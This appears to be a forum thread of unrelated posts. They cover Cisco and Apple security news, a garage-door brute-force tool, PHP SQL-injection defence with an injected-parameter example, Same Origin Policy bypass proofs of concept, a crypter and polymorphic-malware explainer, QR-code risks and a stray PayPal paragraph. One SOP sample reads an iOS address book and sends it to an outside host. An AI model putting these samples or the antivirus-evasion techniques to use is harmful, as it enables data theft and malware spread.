  4. Am dat peste un raspuns destul de elaborat si bine construit / argumentat si m-am gandit sa il shareuiesc pentru ca poate schimba perspectiva multor useri de p-aici. ( asta daca stiu engleza, desigur ) Argh. No. We really need to stop with the current internet-penis-size mentality around algorithm skills. Yes, testing for basic algorithmic knowledge is an excellent interview shit-test to weed out people that have absolutely no business writing code, but other than that has very little to do with the job of being a software developer. You can spend all bloody day churning out bug-free code with perfect linear time complexity at laser-finger speed, but you might still be a totally shitty developer. We are not athletes or musicians that perform on stage - we are engineers. Our job is to build things. More specifically, (1) build the right things, that (2) work as expected, are (3) easily maintainable for a year or two, and (4) built within reasonable time-frames. This is sort of how I spend my time at work: 40% Talking about WHAT to build. Communication about requirements is by far the most complex, important, and time-consuming aspect of software development. This includes negotiating them, measuring success of them, preventing feature creep from entering the backlog, prioritizing work, how to evolve the architecture instead of just welding the feature on top of it, convincing your product owner that you need to deal with technical debt, and another billion things. If you don't get this right, it will fail your project no matter how good you are at the other stuff. 40% Diving through other peoples code. It is absolutely crucial to be able to absorb other peoples code correctly and quickly, so that you'll make changes that fit (1) in the architecture and (2) don't break existing functionality. It's even more important that you are able to GENERATE code that is easy to understand and absorb, or you'll be a sort of "time cancer" for the team that constantly produces more and more code that wastes more and more time for people to read and understand. I don't care if a programmer has 200 in IQ - if she neglects writing unit tests (the best kind of code documentation), he's GOING to be a detriment for the team, not an asset. 15% Hunting down existing bugs and performance bottlenecks. This has very little to do with algorithmic skills, because humans cannot "look" at 500 000 lines of code and see what is wrong. You need the skillset to methodically narrow down your suspects until you've found the offending method, which usually takes a lot of methodical patience. Once you actually find WHERE the bug/bottleneck resides, it's almost always easy to fix and doesn't require algorithmic genius. 4% Writing actual, new functionality. 1% (and I'm being generous here) Thinking about the time complexity of things. In conclusion: When interviewing, by all means, do a little bit of algorithms just to make sure that the candidate can code, but primarily look at if the person has actually gotten shit done, in a team, in the past.

  6. Remote code execution for some, denial of service for the rest of us Cisco has issued a string of patches for 16 faults including a fix for a possible remote code execution in its IOS and IOS XE routing software. The patches address a generous dollop of security conditions caused by faulty queued packets. One flaw, rated severity 8.3, allows attackers to gain remote code execution in IOS XE by sending a crafted packet that allows code to run on affected boxes. Attackers could also send crafted packets to trigger denial of service. "A vulnerability in the AppNav component of Cisco IOS XE Software could allow an unauthenticated, remote attacker to cause an affected device to reload and may allow arbitrary code execution on the affected system," Cisco says in its advisory. "The vulnerability is due to improper processing of crafted TCP packets. An attacker could exploit this vulnerability by sending a crafted TCP packet that needs to be processed by the AppNav component configured on an affected device. An exploit could allow the attacker to cause an affected device to reload or execute arbitrary code in the forwarding engine." Another fix addresses flaws that allow attackers to spoof Autonomic Networking Registration Authority response thanks to lax message validation "A successful exploit could allow an attacker to bootstrap a device into an untrusted autonomic domain, gaining limited command and control of the AN node, causing a denial of service condition and disrupting access to the legitimate autonomic domain," Cisco says . Further vulnerabilities coupled in that advisory lead to denial of service conditions. The Borg also closed off a medium-severity vulnerability (CVE-2015-0769) in the IOS XR carrier software rated 5 can be easily exploited by attackers sending a packet that would thanks to IPv6 extension headers trigger denial of service. It says this occurs because the headers are not typical of normal operation and says there are no work-arounds for the flaw meaning affected systems will require the patch. "A vulnerability in the IP version 6 processing code of Cisco IOS XR Software for Cisco CRS-3 Carrier Routing System could allow an unauthenticated, remote attacker to trigger an ASIC scan of the Network Processor Unit and a reload of the line card processing an IPv6 packet," it says in an advisory. "The vulnerability is due to incorrect processing of an IPv6 packet carrying IPv6 extension headers that are valid but unlikely to be seen during normal operation. "An attacker could exploit this vulnerability by sending such an IPv6 packet to an affected device that is configured to process IPv6 traffic." That exploit can cause a reload of the line card triggering repeated denial of service through transit traffic or data destined for the device. Affected Cisco IOS XR versions include 4.0.1; 40.2; 4.0.3; 4.0.4; 4.1.0; 4.1.1; 4.1.2, and 4.2.0. IOS XR Release 4.2.1 and later are not affected. Source
  7. Apple iOS 9 users will be required to use six-digit passwords instead of four-digit codes when logging in to a device. The tech giant also announced it would be using two-factor authentication for users signing into Apple services from a new device or browser. The updates will apply to all Apple devices enabled with TouchID. With the new authentication process, users will receive a verification code sent to their device after submitting their password. They will then have to enter the code in the new device or browser in order to gain access to apps and services. Apple unveiled the new features on Monday at its 2015 World Wide Developers Conference in San Francisco. The company also introduced new features including: Apple Music, Apple Car Play, Wallet and a public transit option in Apple Maps, available later this year. Source
  8. Americans’ garages, those sacred suburban havens of automobiles and expensive tools, are probably more important to us than many of our online accounts. But some garages are only protected by a code whose security is equivalent to a two-character password. And security researcher Samy Kamkar can crack that laughable safeguard in seconds, with little more than a hacked child’s toy. On Thursday, Kamkar revealed a new tool he’s created called OpenSesame, which he says can open any garage door that uses an insecure “fixed code” system for its wireless communication with a remote. Built from a discontinued Mattel toy called the IM-ME, altered with a cheap antennae and an open source hardware attachment, Kamkar’s less-than-$100 device can try every possible combination for these garage doors and open them in seconds. “It’s a huge joke,” says Kamkar, a serial hacker who works as an independent developer and consultant. “The worst case scenario is that if someone wants to break into your garage, they can use a device you wouldn’t even notice in their pocket, and within seconds the garage door is open.” Before barricading or booby-trapping your garage against OpenSesame intruders, it’s important to note Kamkar’s exploit doesn’t work against just any garage door—only ones that respond to a “fixed code” wirelessly transmitted by a remote instead of a more secure “rolling code” that changes with every button press. And it’s not clear just how many garage doors actually use that fixed code system. Kamkar found that his own garage door, in a newly built Los Angeles condo, was vulnerable to his attack, though he couldn’t identify device’s manufacturer; the receiver in his building was hidden. When he checked the attack against two friends’ garage door openers—both made by a company called Linear owned by the parent company Nortek—it worked both times. Nortek didn’t immediately respond to WIRED’s request for comment. Another major brand of garage door opener, Genie, didn’t respond to to a request for comment either, but says on its website that its devices use rolling codes. A spokesperson for Chamberlain, the owner of the Liftmaster brand and one of the biggest sellers of garage door openers, initially told WIRED the company hasn’t sold fixed code doors since 1992. But when Kamkar dug up a 2007 manual for a Liftmaster device that seemed to use fixed codes, Chamberlain marketing executive Corey Sorice added that the company has supported and serviced older garage door openers until much more recently. “To the extent there are still operators in the market begin serviced by replacement parts, part of the objective is to get to safer and more secure products,” he said in a phone interview, using the industry term “operator” to mean a garage door opener. “We’d love to see people check the safety and security of their operators and move forward.” Kamkar has posted his own video to help people determine if their garage door is vulnerable or not. To attack fixed code garage door openers, criminals have for years used “code grabbers” that capture the code from a user’s garage door button press and replay it later to open the door. But for these vulnerable systems, Kamkar has reduced the time necessary so that it’s become practical try every possible wireless code. That means someone could walk or drive through a neighborhood, going door-to-door and trying the device until one of the vulnerable garages opens. “For code grabbers, you have to sit there and wait for the person to hit the button,” says Kamkar. “For this, [the victim] never even has to be there.” To perform his brute-force attack, Kamkar used a pre-smartphone toy called a Radica IM-ME. That chunky pink handheld device for wireless text messaging, once sold by Mattel, has been adopted by radio hackers because it’s capable of broadcasting and receiving at a broad range of frequencies. Kamkar added his own antenna to the IM-ME and used GoodFET, a tool built by well-known radio hacker Travis Goodspeed, to reprogram the IM-ME with his cracking program. The fixed-code garage door remotes Kamkar tested use at most 12 bit codes—that’s 4,096 possibilities. In modern computer security terms, that’s a trivial level of security: Kamkar calculates that a password with just two characters offers at least 5,184 possibilities. “Imagine if your bank only let you have a two character password,” Kamkar says. Using a straightforward cracking technique, it still would have taken Kamkar’s program 29 minutes to try every possible code. But Kamkar improved his attack by taking out wait periods between code guesses, removing redundant transmissions, and finally using a clever optimization that transmitted overlapped codes, what’s known as a De Bruijn sequence. With all those tweaks, he was able to reduce the attack time from 1,771 seconds to a mere eight seconds. Even so, that eight-second attack only works for a single frequency; Kamkar says he’s found four frequencies different for vulnerable garage doors he’s tested, and OpenSesame can cycle through its brute-force attack on all four frequencies in less than a minute. Kamkar has detailed OpenSesame’s attack on his website, and also published the tool’s code. But he intends it to serve as a warning, not a how-to manual. In fact, he says he’s even disabled the code so that criminals can’t use it, and wouldn’t comment on exactly how he’s crippled his exploit. That’s a rare move for Kamkar, and one that demonstrates how dangerous he believes his garage attack may be. OpenSesame is just the latest in a long string of high-profile hacks from Kamkar, who gained fame in 2007 when he launched a MySpace worm—what came to be known as the Samy worm—that added more than a million friends to his account in an hour. He’s also built a drone designed to seek out and wirelessly hijack other drones, and a 3-D printed robot that can crack Masterlock combination locks in seconds. Anyone with a garage door that still uses a fixed code system should seriously consider upgrading to a more secure rolling code receiver. But Kamkar hints he’s working on another hack that would extend his attack to rolling codes, too, though he’s not yet ready to release any details about it. If that rolling code hack turns out to be effective, there may be no such straightforward answer for garage door security. “It’s a sticky situation. I haven’t even figured out what I’m supposed to do to my own garage,” Kamkar says. “I don’t have a great solution for anyone, including myself.” Source

  10. 1. Cum sa evitam SQL Injection (SQLi) De obicei acesta este folosit in linkuri de genul: site.tld/script.php?id=1 , adaugand dupa 1 o continuare a comanezii SQL. De exemplu: Code: (Select All) site.com/script.php?id=1 Acesta in cod arata cam asa: Code: (Select All) SELECT camp1,camp2 FROM tabel WHERE id=’1? Insa, putem adauga ceva acelui id, ceea ce va continua comanda noastra SQL: Code: (Select All) site.com/script.php?id=1’OR+id%3D’3? Asta, in codul SQL va arata asa: Code: (Select All) SELECT camp1,camp2 FROM tabel WHERE id=’1? OR id=’3? Bineinteles, acest exemplu nu este daunator, dar daca “hackerul” foloseste DROP sau DELETE, poate iesi urat. Cum se pot securiza acestea ? Simplu ! Aplicam stringului pe care il introducem in baza de date o functie, mysql_real_escape_string(), care inlocuieste toate caracterele care ar putea avea vreun efect asupra comenzii SQL. De exemplu: script.php Code: (Select All) $id = $_GET[‘id’]; $id = mysql_real_escape_string($id); $query = “SELECT camp1,camp2 FROM tabel WHERE id='”. $id .”‘”; Cel mai bine e sa luam toate datele in functie de ID (adica sa nu avem urluri gen useri.php?user=bogdan, ci useri.php?iduser=1) deoarece ID-uri, trebuie sa fie numere, lucru care se poate verifica foarte usor. Deci, datele le vom selecta dupa un anumit ID, care o sa fie numeric. Astfel, scriptul devine simplu: Code: $id = $_GET[‘id’]; if(!is_numeric($id)){ echo ‘ID-ul nu est numeric. Incercare de hacking ?? Politia a fost anuntata'; }else{ //este indicat sa verificati intai daca acel ID se afla in baza de date. folositi mysql_num_rows, iar daca rezultatul este 0, id-ul nu exista in baza de date //ceva de genul: $query = mysql_query(“SELECT camp1,camp2 FROM tabel WHERE id='”. $id .”‘”); if(mysql_num_rows($query)==0) { echo ‘ID-ul nu exista in baza de date. Anunt avocatul'; }else{ //totul e OK, id-ul e validat si exista in BD } } In principiu, pentru a valida un GET folositi urmatoarele 3 functii, in functie de caz: mysql_real_escape_string() – sau alternativa: addslashes() is_numeric() mysql_num_rows()

  13. SOP Bypassing in Safari To help you understand better, http://httpsecure.org and file://httpsecure are both treated as a different origin. The Safari browser (IOS and MAC) version 6.0.2 does not enforce the same origin policy when you need to access a local resource. When an attached HTML file tries to open using the file scheme, the JavaScript code contained within can bypass the SOP and start two –way communications with different origins. Consider the following page: <html> <body> <h1> I'm a local file loaded using the file:// scheme </h1> <script> xhr = new XMLHttpRequest(); xhr.onreadystatechange = function (){ if (xhr.readyState == 4) { alert(xhr.responseText); } }; xhr.open("GET", "http://httpsecure.org/docs/safari_sameoriginpolicy_bypassing/other_origin.html"); xhr.send(); </script> </body> </html> Now that the page has loaded the file scheme, the XMLHTTPRequest object is able to read the response after requesting the above mentioned code. SOP Bypassing in Firefox Firefox is the most used browser and the same origin policy bypassing was found by Gareth Heyes in October 2012. The issue found by him is critical and the company decided to fix it and stop its distribution. The issue found in version 16 resulted in unauthorized access to the window.location object outside the constraints of the SOP. The bypassing code is shown below. <!Doctype html> <script> function poc() { var win = window.open('https://httpsecure.org/abc/', 'newWin', 'width=200,height=200'); setTimeout(function(){ alert('Hello '+/^https:\/\/httpsecure.org\/([^/]+)/.exec( win.location)[1]) }, 5000); } </script> <input type=button value="Firefox knows" onclick="poc()"> Execution of the above code from an origin you control will also authenticate into httpsecure on a separate tab of he browser. This loads httpsecure.org/abc and the application redirects to https://httpsecure.org/ <user_uid>/lists (where user_id is your httpsecure handle). After 5 seconds, the exec function will trigger the window.location object to be parsed (here’s the bug, as it shouldn’t be accessible cross-origin) with the regex. This results in the httpsecure handle displayed in the alert box. In August 2012, when Mozilla released its version with support for HTML 5 sandboxed iframes, BRAUN found the issue that, when using allow-script as a value of the iframe sandbox attribute, rogue/fake JavaScript from the iframe content could still access window.top. This would change the outer window.location. <!-- Outer file, bearing the sandbox --> <iframe src="inner.html" sandbox="allow-scripts"></iframe> The framed code was: <!-- Framed document , inner.html --> <script > // escape sandbox: if(top != window) { top.location = window.location; } // all following JavaScript code and markup is unrestricted: // plugins, popups and forms allowed. </script> This code needs to specify with additional code allow-top-navigation, and allows JavaScript code loaded inside an iframe to change the location of window. An attacker could use this to redirect user/victim to a malicious website by hooking the victim of the browser. Note: In HTML5, a new iframe attribute was introduced, called sandbox. The main focus of this new attribute was to have a more granular and secure way to use iframes, with the limited potential harm of third party content embedded from different origins. The sandbox attribute value was set to be zero or the following keywords: allow-forms, allow-popups, allow-same-origin, allow-scripts, allow-top-navigation SOP Bypassing in Opera The same origin policy bypass was found by Heyes. The issue was critical, where Opera was not properly enforcing the same origin policy when overriding prototypes or the constructor of an iframe location object. Let’s take following code example: <html> <body> <iframe id="ifr" src="http://httpsecure.org/xdomain.html"></iframe> <script> var iframe = document.getElementById('ifr'); function do_something(){ var iframe = document.getElementById('ifr'); iframe.contentWindow.location.constructor. prototype. defineGetter__.constructor('[].constructor. prototype.join=function(){console.log("pwned")}')(); } setTimeout("do_something()",3000); </script> </body> </html> Following is the content framed from a different origin: <html> <body> <b>I will be framed from a different origin</b> <script> function do_join(){ [1,2,3].join(); console.log("join() after prototype override: " + [].constructor.prototype.join); } console.log("join() after prototype override: " + [].constructor.prototype.join); setTimeout("do_join();", 5000); </script> </body> </html> In the above mentioned code frame, the console value of constructor.prototype.join is native code used when join() is called on an array. After a few seconds, join() method is called on the [1,2,3] array and the printing function used previously is called again. If you have a deep look back at the above mentioned code, you will see that join() prototype gets overridden inside the do_something() function. Note: Heyes also found SOP bypass by overriding prototypes and using literal values, which were not filtered by Opera before. In the real case scenario, this bypass only works in a frameable web application, so if the application already mitigated vulnerability like CLICKJACKING by frame busting, X-Frame-Option: deny cannot be targeted or consider mitigated. Let’s take an example where the target browser has two tabs open in an Opera browser, where one is a hacked tab and the other is authenticated. If you create an iframe with an src tag in the authenticated origin, you can read the IFRAME content by which you can access any sensitive information. Same Origin Policy Bypassing in Cloud Storage If you think the same origin policy is limited to browsers and their plugins only then, consider this: cloud storage services are also vulnerable to SOP bypass. The same is also found in DROPBOX 1.4.6 on IOS and 2.0.1 on Android, and Google Drive 1.0.1 on IOS. All of these services offer you to store and synchronize files to the cloud. Roi Saltzman found this issue, which is a bit similar to Safari SOP bypass. This bypass relies on the loading of a file in a privileged zone: File://var/mobile/application/app_uuid If an attacker is able to trick the target into loading an HTML file through the client application, the JavaScript code contained in the file will be executed. In this attack, the file is loaded in a privileged zone which allowed JavaScript access to the local file system of the mobile device. FYI: if the HTML file is loaded using the file scheme, nothing prevents JavaScript from accessing another file like: file:///var/mobile/Library/AddressBook/AddressBook.sqlitedb The above mentioned link database contains the user’s address book on IOS. In this, if the target application denies file access outside of the application scope, you can still retrieve the cached file. In this attack, if the user accesses this malicious link, the contents of the user address book will be sent to httpsecure.org. <html> <body> <script> local_xhr = new XMLHttpRequest(); local_xhr.open("GET", "file:///var/mobile/Library/AddressBook/ 150 Chapter 4 ? Bypassing the Same Origin Policy AddressBook.sqlitedb"); local_xhr.send(); local_xhr.onreadystatechange = function () { if (local_xhr.readyState == 4) { remote_xhr = new XMLHttpRequest(); remote_xhr.onreadystatechange = function () {}; remote_xhr.open("GET", "http://httpsecure.org/?f=" + encodeURI(local_xhr.responseText)); remote_xhr.send(); } } </script> </body> </html> Same Origin Policy Bypassing in Cross-Origin Resource Sharing (CORS) CORS is also vulnerable to the same origin policy bypass. CORS has misconfiguration of Access-Control-Allow-Origin: * The above mentioned code is a potential misconfiguration. Research says that more than one million applications misconfigured the Access-Control-Allow-Origin header. This allows any application on the Internet to submit a cross origin request to the site and read the response. The wild card value for the Access-Control-Allow-origin is not so insecure, if a permissive policy is used to provide content that does not contain sensitive information. Source

Online money transfers serve as electronic alternatives to paying with traditional paper methods, such as checks and money orders. Originally, a PayPal account could be funded with an electronic debit from a bank account or by a credit card at the payer s choice. But some time in 2010 or early 2011, PayPal began to require a verified bank account after the account holder exceeded a predetermined spending limit. After that point, PayPal will attempt to take funds for a purchase from funding sources according to a specified funding hierarchy. If you set one of the funding sources as Primary, it will default to that, within that level of the hierarchy (for example, if your credit card ending in 4567 is set as the Primary over 1234, it will still attempt to pay money out of your PayPal balance, before it attempts to charge your credit card). The funding hierarchy is a balance in the PayPal account; a PayPal credit account, PayPal Extras, PayPal SmartConnect, PayPal Extras Master Card or Bill Me Later (if selected as primary funding source) (It can bypass the Balance); a verified bank account; other funding sources, such as non-PayPal credit cards. The recipient of a PayPal transfer can either request a check from PayPal, establish their own PayPal deposit account or request a transfer to their bank account. PayPal is an acquirer, performing payment processing for online vendors, auction sites, and other commercial users, for which it charges a fee. It may also charge a fee for receiving money, proportional to the amount received. The fees depend on the currency used, the payment option used, the country of the sender, the country of the recipient, the amount sent and the recipient s account type. In addition, eBay purchases made by credit card through PayPal may incur extra fees if the buyer and seller use different currencies. On October 3, 2002, PayPal became a wholly owned subsidiary of eBay. Its corporate headquarters are in San Jose, California, United States at eBay s North First Street satellite office campus. The company also has significant operations in Omaha, Nebraska, Scottsdale, Arizona, and Austin, Texas, in the United States, Chennai, Dublin, Kleinmachnow (near Berlin) and Tel Aviv. As of July 2007, across Europe, PayPal also operates as a Luxembourg-based bank. On March 17, 2010, PayPal entered into an agreement with China UnionPay (CUP), China s bankcard association, to allow Chinese consumers to use PayPal to shop online.PayPal is planning to expand its workforce in Asia to 2,000 by the end of the year 2010.

  16. Before we start it's probably best to explain some things: Signature - A pattern of bytes used by an antivirus to identify malicious executables, this could be a string, parts of a function, or a hash. Crypting - This is the most common way of evading antivirus detections, it works by encrypting the malicious executable so the antivirus cannot match the malicious code to existing signatures. Payload - The malicious executable which is encrypted to evade detections, this is attached to the stub in some way (stored as a resource, added after then end of file, appended to a new or existing section). Stub - A simple program responsible for decrypting the payload and executing it in memory. Due to the payload being encrypted, antiviruses will attempt to generate signatures to match the stub's code, but because the stub is small and simple it can be easily modified to evade existing signatures. Polymorphism Polymorphism is a solution to a problem mainly found with worms/botnet: When an AV adds a new signature that detects the malicious executable, the infected file will be quarantined, leaving the malware running in memory until reboot. If a botmaster is running a botnet with thousands of bots, each time the stub is detected he's likely to lose a few hundred bots, his only choice: To keep updating the bots with a new stub before the previous one is detected (which for large botnets can be every few hours), leaving the hacker with very little free time. A solution to this would be to write malware capable of programmatically generating a unique stub and replacing the old one on execution, resulting in each computer having a different stub; this is know as polymorphism. there's a few ways to programmatically create unique code that performs the same function as the previous. Block Mutation A lot of assembly instructions can be freely movable, whilst some cannot. An instruction using a relative address (such as a jump or call), when moved will point to a different location, breaking the code; freely movable instructions such as those using absolute addresses or only registers can be moved anywhere. Block based polymoprphism works by breaking the code down into small blocks, which are then numbered; the number specifies the order in which they execute and the block is either marked as movable or immovable based on its containing instruction. The mutation engine can then reorder, relocate, or separate the movable block; using jumps or similar instructions to link them together so that they execute in the correct order. Junk code (random instructions which are never actually executed) can also be added between blocks to add more entropy and change the executable size. Register Swapping It's possible to write the code in such a way that registers can easily be switched out, for instance all occurrences of edx within a function could be replaced with ecx, changing a lot of bytes within the application. The only problem with this approach is there's only a few usable registers, making it easy to exhaust all possible combinations, and it's still possible to generate signatures based on the layout of the instructions. Internal Assembler + Intermediate Language A very effective approach is to embed an assembler within the payload, as well as create an intermediate language (IL) which the polymorphic engine uses to create ASM on the fly. A simple example would be the following IL code. pmov Reg1, 5 add eax, Reg1 In this example instructions prefixed with p will be mutated at an instruction level, whilst those without a prefix will just be assigned a register and compiled as ASM. The IL engine would then use a seed to randomly generate the p-prefixed instructions by picking an instruction, or group of instructions, to perform the operation, as well as assign a register to Reg1 and Reg2. The array of instructions to handle pmov would look something like this: push val pop reg mov reg, val xor reg, reg add reg, val Once the engine has picked which instruction it wishes to use, it would then fill in the register and value, then compile it to ASM. Here are some examples of final outputs. push 5 pop edx add eax, edx mov ecx, 5 add eax, ecx xor ebx, ebx add ebx, 5 add eax, ebx By using an IL, we avoid having to first disassemble the stub code before mutating it. Metamorphism Today advanced metamorphic malware which can efficiently evade signature detection is nearly impossible, but back in the days of DOS / 95 / 98 viruses, it has been achieved multiple times. The idea of metamorphism is to take polymorphism a step further and instead of encrypting the malicious executable and mutating the stub, the entire malicious executable is mutated, including the code required to perform the mutation. Malware that is required to create a new, unique copy of itself on every propagation is also required to disassemble previously mutated code and regulate size (because instructions can be mutated into multiple instructions, it's important to be able to do the opposite or the executable grows almost exponentially with every mutation). Due to the amount of consideration and effort that would have to go into creating modern metamorphic malware, most programmers opt to use polymorphism instead, as this allows them to generate output from a temporary representation. A simple mistake during disassembling could result in the executable ceasing to work, and it's a lot harder to debug and test metamorphism in large applications. Source
  17. With the increasing use of smartphones, QR codes are becoming popular. Recently, WhatsApp launched its web version, which needs QR code scanning to access the web version of WhatsApp. So, many people now know what QR code is, but still more are unaware. It is very similar to a bar code we see in products, but it does not need a different reader. Our smartphone camera can easily read it with the help of a QR code scanner app. Due to fast readability, it is now widely accepted. And the use of QR codes is increasing. With the scan of a QR code, we can perform various tasks which would otherwise need a lot more effort. For example, scan a QR code and save the business card details in your smartphone. This is why people like to use QR code scanning for general tasks. But most users are not aware that QR codes can also be malicious. This is why scammers are now using malicious QR codes for tricking users. In this article, I will discuss QR codes in details. I will also try to cover all the potential security issues related to QR codes. QR Codes QR code (or Quick Response code) is a matrix bar code which can be read by an imaging device (camera) and then processed to read its data. It was initially developed for the automotive industry in Japan, but now it is being used by many companies. You will be surprised to know that the QR code was invented back in 1994 by Denso Wave. Nowadays QR codes are being used to display text to users, to save a vCard contact information to the user’s smartphone, to open a website URL, to code payments, for website login (ex: WhatsApp web login) or to compose an e-mail or text message just by scanning a QR code. QR codes are really useful and help us to complete tasks faster in smartphones. You can quickly open a website just by scanning a QR code and you do not need to manually type the URL in your smartphone. This is why many websites’ poster ads now contain QR code. Another popular use is on a business card. Now people also include QR code in their business cards. So, other persons can simply scan the QR code to save the contact details in their smartphone. See the sample QR code below. This is for opening a website. QR code for: IT Security Training & Resources by InfoSec Institute Scanning the above QR code will open IT Security Training & Resources by InfoSec Institute. How to Generate QR Codes There are various tools available for this. If you want to generate a QR code with specific information, you can use these tools, which let you create QR code for URL, text, vCard, SMS, call, geo-location, event, email and login. Different tools have different abilities. A few good QR code generator tools are: https://www.the-qrcode-generator.com/ QR Code Generator – create QR codes for free (Logo, T-Shirt, vCard, EPS) QR Code Generator - Create QR codes here http://www.qrstuff.com/ https://scan.me/qr-code-generator You can use any of the above tools to generate your own QR code. Lifespan of QR codes This is a question about QR code people generally ask. QR code does not need any platform for redirection, but it has data within it. Once a QR code is generated, it can be used anytime, anywhere. The lifespan of the QR codes is unlimited, so you do not need to worry about lifespan. Generate and then use. Can QR codes be hacked? A QR code is the square matrix with small black square dots arrangement. Hacking a QR code means manipulation of the action without modifying the QR code. This is not possible. QR codes can be malicious and can trigger malicious action. But that QR code will not be the same as the legitimate QR code. Two QR codes with different actions will never be the same. You will certainly see different patterns in both QR codes. So, QR codes cannot be hacked. But It can be malicious and hackers can use a QR code for various malicious purposes. And there are various reports in which we have seen the malicious acts. Security Risks Involved with Use of QR Codes As I already discussed, QR codes can be malicious. So, there are various security risks involved with QR codes. In this section, I will discuss all the security risks involved with QR codes. Phishing Phishing is a popular way of hacking web accounts. Attackers send a fake web login page which pretends to be the original login page of the website it’s claiming to be. When an innocent user use this fake page to login, his/her login information is sent to the attacker. And now, his/her password is in the hands of the attacker. Phishing is the main security issue involved with QR codes. It is also described as QRishing by some security researchers. QR codes are generally scanned by a smartphone camera to visit a website. Now, many website ads put QR code along with a URL so users can quickly scan QR code to visit the website. This is where scammers try to trick users. As I already told you, QR codes cannot be hacked. So, hackers or scammers try to change the QR code added in the poster. They can also print the similar kind of fake posters and put in public places. Innocent customers will scan these fake QR codes to visit the websites but they will be redirected to phishing websites. Most people judge a website by its look and feel, and phishing pages look exactly similar to legitimate websites. In mobile devices, it is hard to check the full address in the browsers. Due to limited space, browsers do not show the full address in the URL field. And most people never try to check the full address. This makes users more vulnerable. When they use this phishing page to login, their passwords are compromised. Although this phishing trick has limited scope, it is most effective. There are various case studies which clearly confirm that people generally trust QR codes and become the victim of QRishing at public places. Malicious software distribution Scammers generally use malicious websites to distribute malware via drive by download attack. Nowadays, most of the drive by download attacks are being done against Android users. Drive by download attacks are attacks in which a website forcefully downloads software in your device when you visit the website. It does not need any action from the user’s side. Visiting the website is enough to trigger the download action. Scammers try to install malicious apps and then exploit that device. These infected devices can join an existing botnet or can send SMS to premium numbers. It can also leak your data. By using QR codes to point to this kind of malicious websites, we can easily trick users. Users cannot see the URL, so there is no point of doubt. In QR codes, there is no need to enter the URL manually, users only scan QR code. And they only know what you will write about the QR code. In Russia, a malicious QR code on scanning sent SMS to premium numbers costing $5 USD per SMS. Most of these kinds of attacks have been seen against Android devices. Pointing to potentially harmful websites This is similar to what we learned in the previous point, but it is not about serving malware. Sometimes websites have browser exploits which can do lot more harm. Browser exploits can enable microphone/camera access, access browser data, send emails or join a botnet to perform a DDOS attack on any legit website. All these actions occur in the background, so users never know about this. They will only see a website, but they are being tricked. How to Protect Yourself from Malicious QR Codes Malicious QR codes have limited scope, but may be harmful. So, you need to be protective and always take care of your security while using QR codes. If you are going to use it from banners at public places, you need to be selective. There are few things which you can do to protect yourself from malicious QR codes and its attacks. Observe before use: If you find a QR code in any banner advertisement in a public place, look at it closely. Most of the times, scammers stick their fake QR code above the legitimate QR code in a legitimate poster. So try to see if it is real or not. You can check by touching the poster. If it does not look like it’s actually printed on the poster, do not use it. Follow this guideline for QR codes in public places. Your observation can save you from attacks. If you are not sure, never scan that QR code. Be suspicious and never giver personal or login info: Always be suspicious of the page you land on via QR code. Never share your personal information on these pages. Only do this if the QR code is from a very trusted source and you trust the website. And yes, avoid entering your login information. It may be a phishing page. So for login, always enter the URL manually on the browser’s address bar. Entering login information on the pages you land on via QR code means putting yourself in big trouble. So, why take the risk just to avoid a little extra effort? Open a browser, type the address and login directly on the website. Look at URL before proceeding: A few QR code scanners also show the actual URL before proceeding and ask to confirm whether you want to visit the URL. You can use these QR code scanners to know what URL the QR code will send you. This will help you to know if the QR code is malicious or not. Looking at the QR code does not confirm whether it is malicious or not. So, I recommend use of safe QR code scanners. Norton Snap is a nice QR code scanner app with built-in security features. This app is available for both Android and iOS platforms. You can use this QR code scanner app to prevent any malicious activity in your smartphone. It not only shows the URLs but also checks the URLs within its database of malicious links. If it finds any malicious URLs within the QR code, it will warn you. Conclusion Although QR codes are not new, their use is still very limited. With the increasing use of smartphones, we have seen sudden a rise in the use of QR codes. Now various websites and apps let users use a QR code to login or complete other tasks. But there are still very few users who use QR codes. This is the reason why there is little reporting on malicious QR codes. Nobody wants to waste time on things which have low impact. But this will change very soon. With the launch of WhatsApp for web, now many users know how to use QR codes. So, we can expect another sudden rise in the use of QR codes. And when it is used by a greater number of users, attackers will surely find new ways to exploit its weaknesses. As of now, QR code risks have limited scope, but when there are more users, there will surely become a bigger risk. In the near future, we will also see the use of QR codes for payments and money transfer. At that time, it will be very important to follow security rules. As of now, we only need to use a good and secure QR code scanner app and then relax. Having a good anti-virus and Internet security app is also recommended. This will warn if a website is a phishing website or trying to install a dangerous app in your smartphone. I hope you have found this article interesting. If you use QR code, do not forget to be safe.

    Am gasit urmatorul puzzle foarte interesant: During the recent BrainBashers cipher convention, a binary code contest took place. The contest consisted of a binary code transmission where the spaces between the letters were missing and there was no punctuation. Each letter of the alphabet was translated into its binary equivalent based on its position in the alphabet: a=1, b=10, c=11, d=100, e=101, f=110, g=111, h=1000, i=1001, j=1010, k=1011, l=1100, m=1101, n=1110, o=1111, p=10000, q=10001, r=10010, s=10011, t=10100, u=10101, v=10110, w=10111, x=11000, y=11001, z=11010.

  23. OpenREIL is open source library that implements translator and tools for REIL (Reverse Engineering Intermediate Language). REIL was initially developed by Zynamics as part of their BinNavi framework, proprietary code analysis software written in Java. To learn more about REIL read the following documents: «REIL ? The Reverse Engineering Intermediate Language» (link) «The REIL language» (part 1, part 2, part 3, part 4) «Applications of the Reverse Engineering Language REIL» (PDF) «REIL: A platform-independent intermediate representation of disassembled code for static code analysis» (PDF) However, after Zynamics was acquired by Google they abandoned BinNavi, so, I decided to develop my own implementation of REIL. I made it relatively small and portable in comparison with original, the translator itself is just a single library written in C++, it can be statically linked with any program for static or dynamic code analysis. The higher level API of OpenREIL is written in Python, so, it can be easily utilized in plugins and scripts for your favourite reverse engineering tool (almost all modern debuggers and disassemblers has Python bindings). OpenREIL is not a 100% compatible with Zynamics REIL, it has the same ideology and basics, but there's some changes in IR instruction set and representation of the traget hardware platform features. OpenREIL is based on my custom fork of libasmir ? IR translation library from old versions of BAP framework. I removed some 3-rd party dependencies of libasmir (libbfd, libopcodes) and features that irrelevant to translation itself (binary files parsing, traces processing, etc.), than I did some minor refactoring/bugfixes, switched to Capstone for instruction length disassembling and implemented BAP IR ? REIL translation logic on the top of libasmir. Because libasmir uses VEX (production-quality library, part of Valgrind), full code translation sequence inside of OpenREIL is looks as binary ? VEX IR ? BAP IR ? REIL. It's kinda ugly from engineering point of view, but it allows us to have a pretty robust and reliable support of all general instructions of x86. Current version of OpenREIL still has no support of other architectures, but I'm working on x86_64 and ARMv5. Please note, that currently OpenREIL is a far away from stable release, so, I don't recommend you to use it for any serious purposes. Link : 